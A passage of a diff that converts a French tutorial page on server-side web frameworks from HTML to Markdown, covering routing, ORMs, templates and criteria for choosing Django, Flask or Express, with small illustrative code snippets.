Comprendre comment les frameworks simplifient le développement/la + maintenance du code côté serveur et vous faire réfléchir à propos de la + sélection d'un framework pour votre propre développement. + </td> + </tr> + </tbody> </table> -<p>Les sections suivantes proposent des illustrations avec des fragments de codes utilisés par des frameworks réels. Ne soyez pas inquiété si vous ne comprenez pas tout directement. Les explications viendront au fur et à mesure.</p> +Les sections suivantes proposent des illustrations avec des fragments de codes utilisés par des frameworks réels. Ne soyez pas inquiété si vous ne comprenez pas tout directement. Les explications viendront au fur et à mesure. -<h2 id="Vue_densemble">Vue d'ensemble</h2> +## Vue d'ensemble -<p>Les frameworks web côté serveur (c-à-d "web application frameworks") facilitent l'écriture, la maintenance et la mise à l'échelle d'applications web. Ils fournissent des outils et des bibliothèques qui simplifient les tâches courantes de développement web, notamment l'acheminement des URL vers les gestionnaires appropriés, l'interaction avec les bases de données, les sessions et l'autorisation des utilisateurs, le formatage de la sortie (HTML, JSON, XML, par exemple) et l'amélioration de la sécurité contre les attaques web.</p> +Les frameworks web côté serveur (c-à-d "web application frameworks") facilitent l'écriture, la maintenance et la mise à l'échelle d'applications web. Ils fournissent des outils et des bibliothèques qui simplifient les tâches courantes de développement web, notamment l'acheminement des URL vers les gestionnaires appropriés, l'interaction avec les bases de données, les sessions et l'autorisation des utilisateurs, le formatage de la sortie (HTML, JSON, XML, par exemple) et l'amélioration de la sécurité contre les attaques web. -<p>Dans la section suivante, nous allons voir un peu plus de détails comment les frameworks facilite le développement d'applications web. Nous verrons alors les critères utilisés pour choisir un framework adapté.</p> +Dans la section suivante, nous allons voir un peu plus de détails comment les frameworks facilite le développement d'applications web. Nous verrons alors les critères utilisés pour choisir un framework adapté. -<h2 id="Que_peut_faire_un_framework_web_pour_vous">Que peut faire un framework web pour vous ?</h2> +## Que peut faire un framework web pour vous ? -<p>Les frameworks web fournissent des outils et des bibliothèques pour simplifier les opérations de développement web courantes. Utiliser un framework web côté serveur n'est pas obligatoire, mais fortement conseillé... Cela vous facilitera grandement la vie. Cette section présente certaines des fonctionnalités parmi les plus souvent fournies par les frameworks web.</p> +Les frameworks web fournissent des outils et des bibliothèques pour simplifier les opérations de développement web courantes. Utiliser un framework web côté serveur n'est pas obligatoire, mais fortement conseillé... Cela vous facilitera grandement la vie. Cette section présente certaines des fonctionnalités parmi les plus souvent fournies par les frameworks web. -<h3 id="Travailler_directement_avec_les_requêtes_et_les_réponses_HTTP">Travailler directement avec les requêtes et les réponses HTTP</h3> +### Travailler directement avec les requêtes et les réponses HTTP -<p>Comme nous l'avons vu dans le dernier article, les serveurs web et les navigateurs communiquent via le protocole HTTP — les serveurs attendent les requêtes HTTP du navigateur, puis renvoient des informations dans les réponses HTTP. Les infrastructures web vous permettent d'écrire une syntaxe simplifiée qui générera un code côté serveur pour travailler avec ces demandes et réponses. Cela signifie que vous aurez un travail plus facile, en interagissant avec un code plus facile, de niveau supérieur, plutôt que des primitives de réseau de niveau inférieur.</p> +Comme nous l'avons vu dans le dernier article, les serveurs web et les navigateurs communiquent via le protocole HTTP — les serveurs attendent les requêtes HTTP du navigateur, puis renvoient des informations dans les réponses HTTP. Les infrastructures web vous permettent d'écrire une syntaxe simplifiée qui générera un code côté serveur pour travailler avec ces demandes et réponses. Cela signifie que vous aurez un travail plus facile, en interagissant avec un code plus facile, de niveau supérieur, plutôt que des primitives de réseau de niveau inférieur. -<p>L'exemple ci-dessous montre comment cela fonctionne dans le framework web Django (Python). Chaque fonction "view" (un gestionnaire de demandes) reçoit un objet HttpRequest contenant les informations de la demande et doit renvoyer un objet HttpResponse avec la sortie formatée (dans ce cas une chaîne).</p> +L'exemple ci-dessous montre comment cela fonctionne dans le framework web Django (Python). Chaque fonction "view" (un gestionnaire de demandes) reçoit un objet HttpRequest contenant les informations de la demande et doit renvoyer un objet HttpResponse avec la sortie formatée (dans ce cas une chaîne). -<pre class="brush: python"># Django view function +```python +# Django view function from django.http import HttpResponse def index(request): @@ -54,47 +57,49 @@ def index(request): # perform operations using information from the request. # Return HttpResponse return HttpResponse('Output string to return') -</pre> +``` -<h3 id="Acheminer_les_requettes_au_gestionnaire_approprié">Acheminer les requettes au gestionnaire approprié</h3> +### Acheminer les requettes au gestionnaire approprié -<p>La plupart des sites fournissent un certain nombre de ressources différentes, accessibles via des URL distinctes. Il est difficile de gérer toutes ces fonctions en une seule fois. Par conséquent, les infrastructures web fournissent des mécanismes simples pour mapper les modèles d'URL vers des fonctions de gestionnaire spécifiques. Cette approche présente également des avantages en termes de maintenance, car vous pouvez modifier l'URL utilisée pour fournir une fonctionnalité particulière sans avoir à modifier le code sous-jacent.</p> +La plupart des sites fournissent un certain nombre de ressources différentes, accessibles via des URL distinctes. Il est difficile de gérer toutes ces fonctions en une seule fois. Par conséquent, les infrastructures web fournissent des mécanismes simples pour mapper les modèles d'URL vers des fonctions de gestionnaire spécifiques. Cette approche présente également des avantages en termes de maintenance, car vous pouvez modifier l'URL utilisée pour fournir une fonctionnalité particulière sans avoir à modifier le code sous-jacent. -<p>Différents frameworks utilisent différents mécanismes pour la cartographie. Par exemple, l'infrastructure web Flask (Python) ajoute des itinéraires pour afficher les fonctions à l'aide d'un décorateur.</p> +Différents frameworks utilisent différents mécanismes pour la cartographie. Par exemple, l'infrastructure web Flask (Python) ajoute des itinéraires pour afficher les fonctions à l'aide d'un décorateur. -<pre class="brush: python">@app.route("/") +```python +@app.route("/") def hello(): - return "Hello World!"</pre> + return "Hello World!" +``` -<p>Alors que Django attend des développeurs qu'ils définissent une liste de mappages d'URL entre un modèle d'URL et une fonction d'affichage.</p> +Alors que Django attend des développeurs qu'ils définissent une liste de mappages d'URL entre un modèle d'URL et une fonction d'affichage. -<pre class="brush: python">urlpatterns = [ +```python +urlpatterns = [ url(r'^$', views.index), # example: /best/myteamname/5/ - url(r'^(?P<team_name>\w.+?)/(?P<team_number>[0-9]+)/$', views.best), + url(r'^(?P<team_name>\w.+?)/(?P<team_number>[0-9]+)/$', views.best), ] -</pre> +``` -<h3 id="Faciliter_laccès_aux_données_via_la_requête">Faciliter l'accès aux données via la requête</h3> +### Faciliter l'accès aux données via la requête -<p>Les données peuvent être encodées dans une requête HTTP de différentes manières. Une demande HTTP GET pour obtenir des fichiers ou des données du serveur peut coder les données requises dans les paramètres d'URL ou dans la structure d'URL. Une demande HTTP POST de mise à jour une ressource sur le serveur inclura plutôt les informations de mise à jour en tant que "données POST" dans le corps de la demande. La requête HTTP peut également inclure des informations sur la session ou l'utilisateur en cours dans un cookie côté client. Les frameworks web fournissent des mécanismes appropriés au langage de programmation pour accéder à ces informations. Par exemple, l'objet HttpRequest que Django transmet à chaque fonction d'affichage contient des méthodes et des propriétés permettant d'accéder à l'URL cible, le type de demande (par exemple, un HTTP GET), les paramètres GET ou POST, les données de cookie et de session, etc. Django peut également transmettre informations codées dans la structure de l'URL en définissant des "modèles de capture" dans le mappeur d'URL (voir le dernier fragment de code dans la section ci-dessus).</p> +Les données peuvent être encodées dans une requête HTTP de différentes manières. Une demande HTTP GET pour obtenir des fichiers ou des données du serveur peut coder les données requises dans les paramètres d'URL ou dans la structure d'URL. Une demande HTTP POST de mise à jour une ressource sur le serveur inclura plutôt les informations de mise à jour en tant que "données POST" dans le corps de la demande. La requête HTTP peut également inclure des informations sur la session ou l'utilisateur en cours dans un cookie côté client. Les frameworks web fournissent des mécanismes appropriés au langage de programmation pour accéder à ces informations. Par exemple, l'objet HttpRequest que Django transmet à chaque fonction d'affichage contient des méthodes et des propriétés permettant d'accéder à l'URL cible, le type de demande (par exemple, un HTTP GET), les paramètres GET ou POST, les données de cookie et de session, etc. Django peut également transmettre informations codées dans la structure de l'URL en définissant des "modèles de capture" dans le mappeur d'URL (voir le dernier fragment de code dans la section ci-dessus). -<h3 id="extraction_et_simplification_de_l’accès_à_la_base_de_données">extraction et simplification de l’accès à la base de données</h3> +### extraction et simplification de l’accès à la base de données -<p>Les sites web utilisent des bases de données pour stocker des informations à partager avec les utilisateurs et sur les utilisateurs. Les infrastructures web fournissent souvent une couche de base de données qui extrait les opérations de lecture, d'écriture, de requête et de suppression de base de données. Cette couche d'extraction est appelée ORM (Object-Relational Mapper).</p> +Les sites web utilisent des bases de données pour stocker des informations à partager avec les utilisateurs et sur les utilisateurs. Les infrastructures web fournissent souvent une couche de base de données qui extrait les opérations de lecture, d'écriture, de requête et de suppression de base de données. Cette couche d'extraction est appelée ORM (Object-Relational Mapper). -<p>L'utilisation d'un ORM présente deux avantages : </p> +L'utilisation d'un ORM présente deux avantages : -<ol> - <li>Vous pouvez remplacer la base de données sous-jacente sans avoir nécessairement besoin de changer le code qui l'utilise. Cela permet aux développeurs d’optimiser les caractéristiques des différentes bases de données en fonction de leur utilisation. </li> - <li>La validation de base des données peut être mise en œuvre avec le framework. Il est ainsi plus facile et plus sûr de vérifier que les données sont stockées dans le type de champ de base de données approprié, qu’elles ont le format correct (par exemple une adresse électronique) et qu’elles ne sont en aucun cas malveillantes (les pirates peuvent utiliser certains modèles de code pour agir mal, telles que la suppression des enregistrements de la base de données).</li> -</ol> +1. Vous pouvez remplacer la base de données sous-jacente sans avoir nécessairement besoin de changer le code qui l'utilise. Cela permet aux développeurs d’optimiser les caractéristiques des différentes bases de données en fonction de leur utilisation. +2. La validation de base des données peut être mise en œuvre avec le framework. Il est ainsi plus facile et plus sûr de vérifier que les données sont stockées dans le type de champ de base de données approprié, qu’elles ont le format correct (par exemple une adresse électronique) et qu’elles ne sont en aucun cas malveillantes (les pirates peuvent utiliser certains modèles de code pour agir mal, telles que la suppression des enregistrements de la base de données). -<p>Par exemple, le framework web Django fournit un ORM et fait référence à l'objet utilisé pour définir la structure d'un enregistrement en tant que modèle. Le modèle spécifie les types de champs à stocker, ce qui peut fournir une validation au niveau du champ sur les informations pouvant être stockées (par exemple, un champ de courrier électronique autoriserait uniquement les adresses de courrier électronique valides). Les définitions de champ peuvent également spécifier leur taille maximale, leurs valeurs par défaut, leurs options de liste de sélection, leur aide pour la documentation, leur libellé pour les formulaires, etc. Le modèle ne spécifie aucune information sur la base de données sous-jacente, il s'agit d'un paramètre de configuration susceptible d'être modifié séparément de notre code.</p> +Par exemple, le framework web Django fournit un ORM et fait référence à l'objet utilisé pour définir la structure d'un enregistrement en tant que modèle. Le modèle spécifie les types de champs à stocker, ce qui peut fournir une validation au niveau du champ sur les informations pouvant être stockées (par exemple, un champ de courrier électronique autoriserait uniquement les adresses de courrier électronique valides). Les définitions de champ peuvent également spécifier leur taille maximale, leurs valeurs par défaut, leurs options de liste de sélection, leur aide pour la documentation, leur libellé pour les formulaires, etc. Le modèle ne spécifie aucune information sur la base de données sous-jacente, il s'agit d'un paramètre de configuration susceptible d'être modifié séparément de notre code. -<p>Le premier extrait de code ci-dessous montre un modèle Django très simple pour un objet Team. Ceci stocke le nom et le niveau de l'équipe en tant que champs de caractères et spécifie un nombre maximal de caractères à stocker pour chaque enregistrement. Team_level étant un champ de choix, nous fournissons également un mappage entre les choix à afficher et les données à stocker, ainsi qu'une valeur par défaut.</p> +Le premier extrait de code ci-dessous montre un modèle Django très simple pour un objet Team. Ceci stocke le nom et le niveau de l'équipe en tant que champs de caractères et spécifie un nombre maximal de caractères à stocker pour chaque enregistrement. Team_level étant un champ de choix, nous fournissons également un mappage entre les choix à afficher et les données à stocker, ainsi qu'une valeur par défaut. -<pre class="brush: python">#best/models.py +```python +#best/models.py from django.db import models @@ -108,200 +113,181 @@ class Team(models.Model): ... #list our other teams ) team_level = models.CharField(max_length=3,choices=TEAM_LEVELS,default='U11') -</pre> +``` -<p>Le modèle Django fournit une API de requête simple pour la recherche dans la base de données. Cela peut correspondre à plusieurs champs à la fois en utilisant différents critères (par exemple, exact, insensible à la casse, supérieur à, etc.), et peut prendre en charge des instructions complexes (par exemple, vous pouvez spécifier une recherche sur les équipes U11 ayant un nom d'equipe (team name) qui commence par "Fr" ou se termine par "al").</p> +Le modèle Django fournit une API de requête simple pour la recherche dans la base de données. Cela peut correspondre à plusieurs champs à la fois en utilisant différents critères (par exemple, exact, insensible à la casse, supérieur à, etc.), et peut prendre en charge des instructions complexes (par exemple, vous pouvez spécifier une recherche sur les équipes U11 ayant un nom d'equipe (team name) qui commence par "Fr" ou se termine par "al"). -<p>Le deuxième extrait de code montre une fonction d'affichage (gestionnaire de ressources) permettant d'afficher toutes nos équipes U09. Dans ce cas, nous spécifions que nous voulons filtrer tous les enregistrements où le champ team_level a exactement le texte 'U09' (notez dans l exemple ci dessous comment ce critère est transmis à la fonction filter () sous forme d'argument avec le nom du champ et le type de correspondance séparés par un double. underscores: team_level__exact).</p> +Le deuxième extrait de code montre une fonction d'affichage (gestionnaire de ressources) permettant d'afficher toutes nos équipes U09. Dans ce cas, nous spécifions que nous voulons filtrer tous les enregistrements où le champ team_level a exactement le texte 'U09' (notez dans l exemple ci dessous comment ce critère est transmis à la fonction filter () sous forme d'argument avec le nom du champ et le type de correspondance séparés par un double. underscores: team_level\_\_exact). -<pre class="brush: python">#best/views.py +```python +#best/views.py from django.shortcuts import render from .models import Team def youngest(request): - <strong>list_teams = Team.objects.filter(team_level__exact="U09")</strong> + list_teams = Team.objects.filter(team_level__exact="U09") context = {'youngest_teams': list_teams} return render(request, 'best/index.html', context) -</pre> - -<dl> -</dl> +``` -<h3 id="Rendering_data">Rendering data</h3> +### Rendering data -<p>Les frameworks web fournissent souvent des systèmes de templates. Ceux-ci vous permettent de spécifier la structure d'un document de sortie, en utilisant des espaces réservés pour les données qui seront ajoutées lors de la génération d'une page. Les modèles sont souvent utilisés pour créer du HTML, mais peuvent également créer d'autres types de documents.</p> +Les frameworks web fournissent souvent des systèmes de templates. Ceux-ci vous permettent de spécifier la structure d'un document de sortie, en utilisant des espaces réservés pour les données qui seront ajoutées lors de la génération d'une page. Les modèles sont souvent utilisés pour créer du HTML, mais peuvent également créer d'autres types de documents. -<p>Les frameworks web fournissent souvent un mécanisme facilitant la génération d'autres formats à partir de données stockées, notamment {{glossary ("JSON")}} et {{glossary ("XML")}}.</p> +Les frameworks web fournissent souvent un mécanisme facilitant la génération d'autres formats à partir de données stockées, notamment {{glossary ("JSON")}} et {{glossary ("XML")}}. -<p>Par exemple, le système de templates Django vous permet de spécifier des variables en utilisant une syntaxe "double-handlebars" (par exemple,<code>{</code><code>{ <em>variable_name</em> </code><code>}</code><code>}</code> ), qui sera remplacée par les valeurs transmises à partir de la fonction d'affichage lors du rendu d'une page. Le système de templates prend également en charge les expressions (avec la syntaxe:<code>{% <em>expression</em> %}</code> ), qui permettent aux templates d'effectuer des opérations simples, telles que l'itération des valeurs de liste transmises au modèle.</p> +Par exemple, le système de templates Django vous permet de spécifier des variables en utilisant une syntaxe "double-handlebars" (par exemple,` {`` { variable_name ``}``} ` ), qui sera remplacée par les valeurs transmises à partir de la fonction d'affichage lors du rendu d'une page. Le système de templates prend également en charge les expressions (avec la syntaxe:`{% expression %}` ), qui permettent aux templates d'effectuer des opérations simples, telles que l'itération des valeurs de liste transmises au modèle. -<div class="note"> -<p><strong>Note :</strong> Many other templating systems use a similar syntax, e.g.: Jinja2 (Python), handlebars (JavaScript), moustache (JavaScript), etc.</p> -</div> +> **Note :** Many other templating systems use a similar syntax, e.g.: Jinja2 (Python), handlebars (JavaScript), moustache (JavaScript), etc. -<p>L'extrait de code ci-dessous montre comment cela fonctionne. En reprenant l'exemple "youngest_teams" de la section précédente, le modèle HTML se voit transmettre par la vue une variable de liste nommée youngest_teams. Dans le squelette HTML, nous avons une expression qui vérifie d'abord si la variable youngest_teams existe, puis itère dans une boucle for. À chaque itération, le modèle affiche la valeur team_name de l'équipe dans un élément de liste.</p> +L'extrait de code ci-dessous montre comment cela fonctionne. En reprenant l'exemple "youngest_teams" de la section précédente, le modèle HTML se voit transmettre par la vue une variable de liste nommée youngest_teams. Dans le squelette HTML, nous avons une expression qui vérifie d'abord si la variable youngest_teams existe, puis itère dans une boucle for. À chaque itération, le modèle affiche la valeur team_name de l'équipe dans un élément de liste. -<pre class="brush: html">#best/templates/best/index.html +```html +#best/templates/best/index.html -<!DOCTYPE html> -<html lang="en"> -<body> +<!DOCTYPE html> +<html lang="en"> +<body> {% if youngest_teams %} - <ul> + <ul> {% for team in youngest_teams %} - <li>\{\{ team.team_name \}\}</li> + <li>\{\{ team.team_name \}\}</li> {% endfor %} - </ul> + </ul> {% else %} - <p>No teams are available.</p> + <p>No teams are available.</p> {% endif %} -</body> -</html> -</pre> +</body> +</html> +``` + +## Comment choisir un framework web -<h2 id="Comment_choisir_un_framework_web">Comment choisir un framework web</h2> +Il existe de nombreux frameworks web pour presque tous les langages de programmation que vous souhaitez utiliser (nous énumérons quelques-uns des frameworks les plus populaires dans la section suivante). Avec autant de choix, il peut devenir difficile de déterminer quel framework constitue le meilleur point de départ pour votre nouvelle application web. -<p>Il existe de nombreux frameworks web pour presque tous les langages de programmation que vous souhaitez utiliser (nous énumérons quelques-uns des frameworks les plus populaires dans la section suivante). Avec autant de choix, il peut devenir difficile de déterminer quel framework constitue le meilleur point de départ pour votre nouvelle application web.</p> +Certains des facteurs qui peuvent affecter votre décision sont les suivants: -<p>Certains des facteurs qui peuvent affecter votre décision sont les suivants:</p> +- **Effort d'apprentissage** : L'effort d'apprentissage d'un framework web dépend de votre familiarité avec le langage de programmation sous-jacent, de la cohérence de son API, de la qualité de sa documentation ainsi que de la taille et de l'activité de sa communauté. Si vous avez peu d'eqperience en programmation, pensez à Django (l’un des plus faciles à apprendre en fonction des critères ci-dessus). Si vous faites partie d'une équipe de développement qui possède déjà une expérience significative avec un framework web ou un langage de programmation particulier, il est logique de s'en tenir à cela. +- **Productivité** : la productivité mesure la rapidité avec laquelle vous pouvez créer de nouvelles fonctionnalités une fois que vous êtes familiarisé avec le framework. Elle inclut à la fois les efforts d'écriture et de maintenance du code (car vous ne pouvez pas écrire de nouvelles fonctionnalités alors que les anciennes sont endommagées). Un grand nombre des facteurs qui affectent la productivité sont similaires à ceux de "Effort d'apprentissage" - par ex. documentation, communauté, expérience en programmation, etc. - les autres facteurs incluent: -<ul> - <li><strong>Effort d'apprentissage </strong>: L'effort d'apprentissage d'un framework web dépend de votre familiarité avec le langage de programmation sous-jacent, de la cohérence de son API, de la qualité de sa documentation ainsi que de la taille et de l'activité de sa communauté. Si vous avez peu d'eqperience en programmation, pensez à Django (l’un des plus faciles à apprendre en fonction des critères ci-dessus). Si vous faites partie d'une équipe de développement qui possède déjà une expérience significative avec un framework web ou un langage de programmation particulier, il est logique de s'en tenir à cela.</li> - <li><strong>Productivité </strong>: la productivité mesure la rapidité avec laquelle vous pouvez créer de nouvelles fonctionnalités une fois que vous êtes familiarisé avec le framework. Elle inclut à la fois les efforts d'écriture et de maintenance du code (car vous ne pouvez pas écrire de nouvelles fonctionnalités alors que les anciennes sont endommagées). Un grand nombre des facteurs qui affectent la productivité sont similaires à ceux de "Effort d'apprentissage" - par ex. documentation, communauté, expérience en programmation, etc. - les autres facteurs incluent: - <ul> - <li><em>Objectif / origine du framework </em>: certains frameworks web ont été créés à l'origine pour résoudre certains types de problèmes, et restent meilleurs pour créer des applications web avec des contraintes similaires. Par exemple, Django a été créé pour soutenir le développement d'un site web de journal. Il est donc bon pour les blogs et les autres sites impliquant la publication d'éléments. En revanche, Flask est un cadre beaucoup plus léger et est idéal pour créer des applications web s'exécutant sur des périphériques intégrés.</li> - <li><em>Populaire vs Impopulaire</em>: Un framework populaire est un frameqork dans lequel il est recommandé de "meilleures" manières de résoudre un problème particulier. Les frameworks populaire ont tendance à être plus productifs lorsque vous essayez de résoudre des problèmes courants, car ils vous orientent dans la bonne direction, mais ils sont parfois moins flexibles.</li> - <li><em>Ressource incluses vs. l'obtenir vous-même </em>: certains frameworks web incluent des outils / bibliothèques qui traitent tous les problèmes que leurs développeurs peuvent penser "par défaut", tandis que des frameworks plus légers attendent des développeurs web qu'ils choisissent la solution aux problèmes de bibliothèques séparées (Django est un exemple inclue " tout " tandis que Flask est un exemple de framework très léger). Les frameworks qui incluent tout sont souvent plus faciles à démarrer car vous avez déjà tout ce dont vous avez besoin, et il est probable qu’il soit bien intégré et bien documenté. Cependant, si une structure plus petite contient tout ce dont vous avez besoin (le cas échéant), elle peut alors s'exécuter dans des environnements plus restreints et disposer d'un sous-ensemble de choses plus petites et plus faciles à apprendre.</li> - <li><em>Si le framework encourage ou non les bonnes pratiques de développement </em>: par exemple, un cadre qui encourage une architecture Model-View-Controller où on sépare le code en fonctions logiques engendrera un code plus facile à maintenir qu'un code qui n'a pas d'attente de la part des développeurs. De même, la conception de la structure peut avoir un impact important sur la facilité de test et de réutilisation du code.</li> - </ul> - </li> - <li><strong>Performances du framework/langage de programmation </strong>: généralement, la <em>vitesse</em> n’est pas le facteur le plus important dans la sélection car même des exécutions relativement lentes, comme Python, sont plus que <em>suffisantes</em> pour les sites de taille moyenne fonctionnant avec un matériel raisonnablement performant. Les avantages perçus en termes de vitesse par rapport à un autre langage comme C++ ou JavaScript peuvent être compensés par les coûts d’apprentissage et de maintenance.</li> - <li><strong>Mise en cache </strong>: la popularité de votre site web grandit, vous constatez peut-être que le serveur ne peut plus gérer toutes les requêtes. À ce stade, vous pouvez envisager d’ajouter un support pour la mise en cache : une optimisation dans laquelle vous stockez tout ou partie de la réponse à une requête web afin qu'il ne soit pas nécessaire de la recalculer la prochaine fois. Retourner la réponse en cache à une requête est beaucoup plus rapide que d'en calculer une. La mise en cache peut être implémentée dans votre code ou sur le serveur (voir proxy inverse). Les infrastructures web auront différents niveaux de prise en charge pour définir le contenu pouvant être mis en cache.</li> - <li><strong>Adpatation </strong>: votre site web connaît un succès fantastique, vous avez épuisé les avantages de la mise en cache, vous atteignez même les limites de la mise à l'échelle verticale (exécuter votre application Web sur un matériel plus puissant). À ce stade, il est temps de penser à une mise à l’échelle horizontale (partager la charge en répartissant votre site sur un certain nombre de serveurs web et de bases de données) ou «géographiquement», car certains de vos clients sont très éloignés de votre serveur. L'infrastructure web que vous choisissez peut faire toute la différence en termes de facilité d'adaptation de votre site.</li> - <li><strong>Sécurité web </strong>: certains environnements web offrent une meilleure prise en charge de la gestion des attaques web courantes. Django, par exemple, supprime toutes les entrées utilisateur des modèles HTML afin que le code JavaScript saisi par l'utilisateur ne puisse pas être exécuté. D'autres frameworks offrent une protection similaire, mais celle-ci n'est pas toujours activée par défaut.</li> -</ul> + - *Objectif / origine du framework* : certains frameworks web ont été créés à l'origine pour résoudre certains types de problèmes, et restent meilleurs pour créer des applications web avec des contraintes similaires. Par exemple, Django a été créé pour soutenir le développement d'un site web de journal. Il est donc bon pour les blogs et les autres sites impliquant la publication d'éléments. En revanche, Flask est un cadre beaucoup plus léger et est idéal pour créer des applications web s'exécutant sur des périphériques intégrés. + - _Populaire vs Impopulaire_: Un framework populaire est un frameqork dans lequel il est recommandé de "meilleures" manières de résoudre un problème particulier. Les frameworks populaire ont tendance à être plus productifs lorsque vous essayez de résoudre des problèmes courants, car ils vous orientent dans la bonne direction, mais ils sont parfois moins flexibles. + - *Ressource incluses vs. l'obtenir vous-même* : certains frameworks web incluent des outils / bibliothèques qui traitent tous les problèmes que leurs développeurs peuvent penser "par défaut", tandis que des frameworks plus légers attendent des développeurs web qu'ils choisissent la solution aux problèmes de bibliothèques séparées (Django est un exemple inclue " tout " tandis que Flask est un exemple de framework très léger). Les frameworks qui incluent tout sont souvent plus faciles à démarrer car vous avez déjà tout ce dont vous avez besoin, et il est probable qu’il soit bien intégré et bien documenté. Cependant, si une structure plus petite contient tout ce dont vous avez besoin (le cas échéant), elle peut alors s'exécuter dans des environnements plus restreints et disposer d'un sous-ensemble de choses plus petites et plus faciles à apprendre. + - *Si le framework encourage ou non les bonnes pratiques de développement* : par exemple, un cadre qui encourage une architecture Model-View-Controller où on sépare le code en fonctions logiques engendrera un code plus facile à maintenir qu'un code qui n'a pas d'attente de la part des développeurs. De même, la conception de la structure peut avoir un impact important sur la facilité de test et de réutilisation du code. -<p>Il existe de nombreux autres facteurs possibles, y compris les licences, que le cadre soit ou non en cours de développement actif, etc.</p> +- **Performances du framework/langage de programmation** : généralement, la *vitesse* n’est pas le facteur le plus important dans la sélection car même des exécutions relativement lentes, comme Python, sont plus que *suffisantes* pour les sites de taille moyenne fonctionnant avec un matériel raisonnablement performant. Les avantages perçus en termes de vitesse par rapport à un autre langage comme C++ ou JavaScript peuvent être compensés par les coûts d’apprentissage et de maintenance. +- **Mise en cache** : la popularité de votre site web grandit, vous constatez peut-être que le serveur ne peut plus gérer toutes les requêtes. À ce stade, vous pouvez envisager d’ajouter un support pour la mise en cache : une optimisation dans laquelle vous stockez tout ou partie de la réponse à une requête web afin qu'il ne soit pas nécessaire de la recalculer la prochaine fois. Retourner la réponse en cache à une requête est beaucoup plus rapide que d'en calculer une. La mise en cache peut être implémentée dans votre code ou sur le serveur (voir proxy inverse). Les infrastructures web auront différents niveaux de prise en charge pour définir le contenu pouvant être mis en cache. +- **Adpatation** : votre site web connaît un succès fantastique, vous avez épuisé les avantages de la mise en cache, vous atteignez même les limites de la mise à l'échelle verticale (exécuter votre application Web sur un matériel plus puissant). À ce stade, il est temps de penser à une mise à l’échelle horizontale (partager la charge en répartissant votre site sur un certain nombre de serveurs web et de bases de données) ou «géographiquement», car certains de vos clients sont très éloignés de votre serveur. L'infrastructure web que vous choisissez peut faire toute la différence en termes de facilité d'adaptation de votre site. +- **Sécurité web** : certains environnements web offrent une meilleure prise en charge de la gestion des attaques web courantes. Django, par exemple, supprime toutes les entrées utilisateur des modèles HTML afin que le code JavaScript saisi par l'utilisateur ne puisse pas être exécuté. D'autres frameworks offrent une protection similaire, mais celle-ci n'est pas toujours activée par défaut. -<p>Si vous débutez en programmation, vous choisirez probablement un framework facile à prendre en main. Une documentation riche et une communauté active sont également des critères pertinents pour votre choix. Pour la suite de ce cours, nous avons choisi Django (Python) et Express (Node/JavaScript) principalement parce que ces frameworks sont faciles à apprendre et bénéficient d'un bon soutien.</p> +Il existe de nombreux autres facteurs possibles, y compris les licences, que le cadre soit ou non en cours de développement actif, etc. -<div class="note"> -<p><strong>Note :</strong> Let's go to the main websites for <a href="https://www.djangoproject.com/">Django</a> (Python) and <a href="http://expressjs.com/">Express</a> (Node/JavaScript) and check out their documentation and community.</p> +Si vous débutez en programmation, vous choisirez probablement un framework facile à prendre en main. Une documentation riche et une communauté active sont également des critères pertinents pour votre choix. Pour la suite de ce cours, nous avons choisi Django (Python) et Express (Node/JavaScript) principalement parce que ces frameworks sont faciles à apprendre et bénéficient d'un bon soutien. -<ol> - <li>Navigate to the main sites (linked above) - <ul> - <li>Click on the Documentation menu links (named things like "Documentation, Guide, API Reference, Getting Started".</li> - <li>Can you see topics showing how to set up URL routing, templates, and databases/models?</li> - <li>Are the documents clear?</li> - </ul> - </li> - <li>Navigate to mailing lists for each site (accessible from Community links). - <ul> - <li>How many questions have been posted in the last few days</li> - <li>How many have responses?</li> - <li>Do they have an active community?</li> - </ul> - </li> -</ol> -</div> +> **Note :** Let's go to the main websites for [Django](https://www.djangoproject.com/) (Python) and [Express](http://expressjs.com/) (Node/JavaScript) and check out their documentation and community. +> +> 1. Navigate to the main sites (linked above) +> +> - Click on the Documentation menu links (named things like "Documentation, Guide, API Reference, Getting Started". +> - Can you see topics showing how to set up URL routing, templates, and databases/models? +> - Are the documents clear? +> +> 2. Navigate to mailing lists for each site (accessible from Community links). +> +> - How many questions have been posted in the last few days +> - How many have responses? +> - Do they have an active community? -<h2 id="A_few_good_web_frameworks">A few good web frameworks?</h2> +## A few good web frameworks? -<p>Let's now move on, and discuss a few specific server-side web frameworks.</p> +Let's now move on, and discuss a few specific server-side web frameworks. -<p>The server-side frameworks below represent <em>a few </em>of the most popular available at the time of writing. All of them have everything you need to be productive — they are open source, are under active development, have enthusiastic communities creating documentation and helping users on discussion boards, and are used in large numbers of high-profile websites. There are many other great server-side frameworks that you can discover using a basic internet search.</p> +The server-side frameworks below represent _a few_ of the most popular available at the time of writing. All of them have everything you need to be productive — they are open source, are under active development, have enthusiastic communities creating documentation and helping users on discussion boards, and are used in large numbers of high-profile websites. There are many other great server-side frameworks that you can discover using a basic internet search. -<div class="note"> -<p><strong>Note :</strong> Descriptions come (partially) from the framework websites!</p> -</div> +> **Note :** Descriptions come (partially) from the framework websites! -<h3 id="Django_Python">Django (Python)</h3> +### Django (Python) -<p><a href="https://www.djangoproject.com/">Django</a> is a high-level Python Web framework that encourages rapid development and clean, pragmatic design. Built by experienced developers, it takes care of much of the hassle of web development, so you can focus on writing your app without needing to reinvent the wheel. It’s free and open source.</p> +[Django](https://www.djangoproject.com/) is a high-level Python Web framework that encourages rapid development and clean, pragmatic design. Built by experienced developers, it takes care of much of the hassle of web development, so you can focus on writing your app without needing to reinvent the wheel. It’s free and open source. -<p>Django follows the "Batteries included" philosophy and provides almost everything most developers might want to do "out of the box". Because everything is included, it all works together, follows consistent design principles, and has extensive and up-to-date documentation. It is also fast, secure, and very scalable. Being based on Python, Django code is easy to read and to maintain.</p> +Django follows the "Batteries included" philosophy and provides almost everything most developers might want to do "out of the box". Because everything is included, it all works together, follows consistent design principles, and has extensive and up-to-date documentation. It is also fast, secure, and very scalable. Being based on Python, Django code is easy to read and to maintain. -<p>Popular sites using Django (from Django home page) include: Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic, Open Knowledge Foundation, Pinterest, Open Stack.</p> +Popular sites using Django (from Django home page) include: Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic, Open Knowledge Foundation, Pinterest, Open Stack. -<h3 id="Flask_Python">Flask (Python)</h3> +### Flask (Python) -<p><a href="http://flask.pocoo.org/">Flask</a> is a microframework for Python.</p> +[Flask](http://flask.pocoo.org/) is a microframework for Python. -<p>While minimalist, 